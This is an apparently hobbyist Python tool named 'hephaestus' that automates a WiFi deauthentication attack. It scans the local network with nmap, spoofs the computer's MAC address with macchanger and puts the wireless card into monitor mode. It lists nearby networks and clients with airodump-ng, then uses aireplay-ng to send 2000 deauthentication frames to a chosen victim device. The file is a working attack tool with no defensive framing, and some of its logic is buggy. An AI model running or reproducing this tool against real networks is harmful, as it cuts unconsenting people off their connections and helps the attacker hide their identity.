import os
import time
import subprocess 
def hephaestus():
    init()
    menu()
    while True:
        op = input("\033[31m> \033[0m")
        if op == "deauth":
            deauth()

def menu():
    print("[*] deauth\n")

def printc(string,color):
    base = '\033['
    if color == "RED":
        print(base+"31m" + string + "\033[0m")
    if color == "BLUE":
        print(base+"34m" + string + "\033[0m")
    if color == "GREEN":
        print(base+"32m" + string + "\033[0m")
    if color == "YELLOW":
        print(base+"33m" + string + "\033[0m")
    if color == "CYAN":
        print(base+"36m" + string + "\033[0m")
    if color == "BGRED":
        print(base+"41m" + string + "\033[0m")
    if color == "BGBLUE":
        print(base+"44m" + string + "\033[0m")
    if color == "BLINK":
        print(base+"5m" + string + "\033[0m")

def checkMon():
    try:
        wifiInterface = subprocess.check_output("sudo iw dev | awk '$1==\"Interface\"{print $2}'",shell=True).decode("utf-8")[:-1]
        wifiInterface = wifiInterface.split('\n')
    except Exception:
        printc('[!!!] Failed to get wireless interface name',"YELLOW")
        exit(1)
    monInterface = [mon for mon in wifiInterface if 'mon' in mon]
    if len(monInterface) > 0:
        printc("\n[*] Found one interface in monitor mode","RED")
        printc("\n[*] Stopping it","RED")
        [subprocess.call("sudo airmon-ng stop " + mon,shell=True) for mon in monInterface]
    return True

def nmapList():
    printc("\n[*] Scanning network","RED")
    ip  = subprocess.check_output("hostname -I",shell=True).decode("utf-8")[:-1].split('.')
    ipBase = ip[0] + "."  + ip[1] + "."  + ip[2] + ".0/24"
    subprocess.check_output("sudo nmap -F " + ipBase + " >> ipsInfo",shell=True)
    with open('ipsInfo','r') as f:
        data = f.read().splitlines()
    scan = "Nmap scan report"
    scanReport = []
    new = False
    i = 0
    unique = []
    temp = []
    while len(data) > 0:
        i = 0
        try:
            if scan in data[0]:
                newData = data[0].split(' ')
                hostname = newData[-2]
                ip = newData[-1][1:-1]
                temp.append(hostname)
                temp.append(ip)
                del data[0]
                while not scan in data[i]:
                    if "MAC" in data[i]:
                        MAC = data[i].split(' ')[2]
                        temp.append(MAC)
                    del data[i]
                    i+=1
                unique.append(temp[:])
                del temp[:]
            else:
                i = 0
                del data[0]
        except Exception as e:
            pass
    
    printc("\n[*] Done","CYAN")
    return unique

def changeMac():
    wifiInterface = subprocess.check_output("sudo iw dev | awk '$1==\"Interface\"{print $2}'",shell=True).decode("utf-8")[:-1]
    printc("\n[*] Changing MAC Address of computer","RED")
    try:
        subprocess.call("sudo ifconfig " + wifiInterface + " down",shell=True)
        subprocess.call("sudo macchanger -r " + wifiInterface,shell=True)
        subprocess.call("sudo ifconfig " + wifiInterface + " up",shell=True)
    except Exception:
        printc("\n[!] Failed to change MAC Address\n","YELLOW")
        exit(1)

def restartNetwork(monitorInterface):
    printc("\n[*] Restarting Network","RED")
    try:
        subprocess.call("sudo airmon-ng stop " + monitorInterface,shell=True)
        subprocess.call("sudo service network-manager restart",shell=True)
    except Exception:
        printc("[!] Failed to restart network","YELLOW")

def deauth():
    printc("\nDo you want to scan current network before start ? This step should give you","RED")
    printc("the name of the computers on the network [y/n]\n","RED")
    base = '\033['
    op = input("\033[31m> \033[0m")
    nmapScan = False
    if op.lower() == 'y':
        clients = nmapList()
    checkMon()
    changeMac()
    printc("\n[*] Starting aircrack-ng","RED")
    printc("\n[*] Killing processes","RED")
    try:
        subprocess.call("sudo airmon-ng check kill",shell=True)
    except Exception:
        printc("[!!!] Failed to kill processes","YELLOW")

    try:
        printc("[*] Getting name of wireless interface","RED")
        name = subprocess.check_output("sudo iw dev | awk '$1==\"Interface\"{print $2}'",shell=True).decode("utf-8")[:-1]
    except Exception as e:
        printc("[!!!] Failed to get wireless interface name","YELLOW")
        exit(1)
    
    printc("\n[*] Starting monitor mode on " + name,"RED")
    try:
        command = "sudo airmon-ng start " + name
        subprocess.call("sudo airmon-ng start " + name,shell=True)
    except Exception:
        printc("[!] Failed to start monitor mode","YELLOW")
        exit(1)

    name = subprocess.check_output("sudo iw dev | awk '$1==\"Interface\"{print $2}'",shell=True).decode("utf-8")[:-1].split('\n')
    monWifi = [mon for mon in name if 'mon' in mon][0]
    printc("\n[*] Starting to listening to traffic","RED")
    try:
        bssids = subprocess.check_output("sudo airodump-ng -w bssidNames " + monWifi,timeout=5,shell=True).decode("utf-8")[:-1]
    except KeyboardInterrupt:
        dirs = os.listdir()
        airodumpFile = [air for air in dirs if "bssidNames" in air]
        csvFile = [csv for csv in airodumpFile if ".csv" in csv  and not ".kismet" in csv][0]
        with open(csvFile,'r') as f:
            data = f.read().splitlines()
        try:
            if not nmapScan:
                printc("[1] BSSID","RED")
                printc("[2] Wifi Name","RED")
                op = int(input("\033[31m> \033[0m"))
                if op == 1:
                    printc("BSSID's name ","RED")
                    bssidName = input("\033[31m> \033[0m")
                    printc("Computer's MAC ","RED")
                    client = input("\033[31m> \033[0m")
                    command = 'sudo aireplay-ng --deauth 2000 -a ' + bssidName + ' -c ' + client + ' ' + monWifi + ' --ignore-negative-one'
                elif op == 2:
                    printc("Wifi's name ","RED")
                    wifiName = input("> ")
                    wifiData = [wifi for wifi in data if wifiName in wifi][0]
                    wifiData = wifiData.split(',')
                    wifiBssid = wifiData[0]
                    wifiChannel = wifiData[3]
                    peopleOnWifi = [people for people in data if wifiBssid in people]
                    mac = [m.split(',')[0] for m in peopleOnWifi][1:]
                    [subprocess.call("sudo rm " + f,shell=True) for f in airodumpFile]

                for m in mac:
                    for i,client in enumerate(clients):
                        if m == client[2]:
                            print("["+str(i)+"]")
                            print("Computer name : " + client[0])
                            print("Ip address : " + client[1])
                        
                print("What computer do you want do deauth, ex 0")
                op = input("\033[31m> \033[0m")
                command = 'sudo aireplay-ng --deauth 2000 -a ' + wifiBssid + ' -c ' + clients[int(op)][2] + ' ' + monWifi + ' --ignore-negative-one'
                try:
                    subprocess.call(command,shell=True)
                    print("\n[*] Done")
                except KeyboardInterrupt:
                    print('\n[*] Done\n')
                    restartNetwork(monWifi)

        except Exception:
            printc("\n[!] Failed to get wifi Data, try to wait a little longer before hit Ctrl-C","YELLOW")
            exit(1)
    i = 0 
    subprocess.call("clear",shell=True)
    

def init():
    subprocess.call('clear',shell=True)
    printc("NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNNNNds+/////+shmNNNNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNNdo//oyhhhys//+hNNNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNm//+dNNNNNNNmo//hNNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNy//hNNNNNNNNNm//+NNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNs//dNNNNNNNNNN//+NNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNs//dNNNNNNNNNN//+NNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNs//dNNNNNNNNNN//+NNNNNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNmhhyo//syyyyyyyyyy//+yyhmNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNs+//:::::::::::::::::///+NNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNs+//:::::::::::::::::/+/+NNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNssy/////////++///////sosoNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNyyysso+///ydmdh///ss+oo+oNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNyss++/////hmmmm+//++//+++NNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNyss++ooo//+dmmo///////ssoNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNyyysoooo//+mmms///++//+++NNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNssso//////+ssso///sooossoNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNsysss/////////////////ssoNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNmNs++/////////////////////+NNNNNNNmNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNho++++++++++++++++++++++yNNNNNNNNNNNNNNNNNN","CYAN")
    printc("NNNNNNNNNNNNNNNNNNNNNNNNNNNNmmmNNNNNNNNNNNNNNNNNNNNNNNNNNNNN","CYAN")
    print("\n\n\n")

hephaestus()
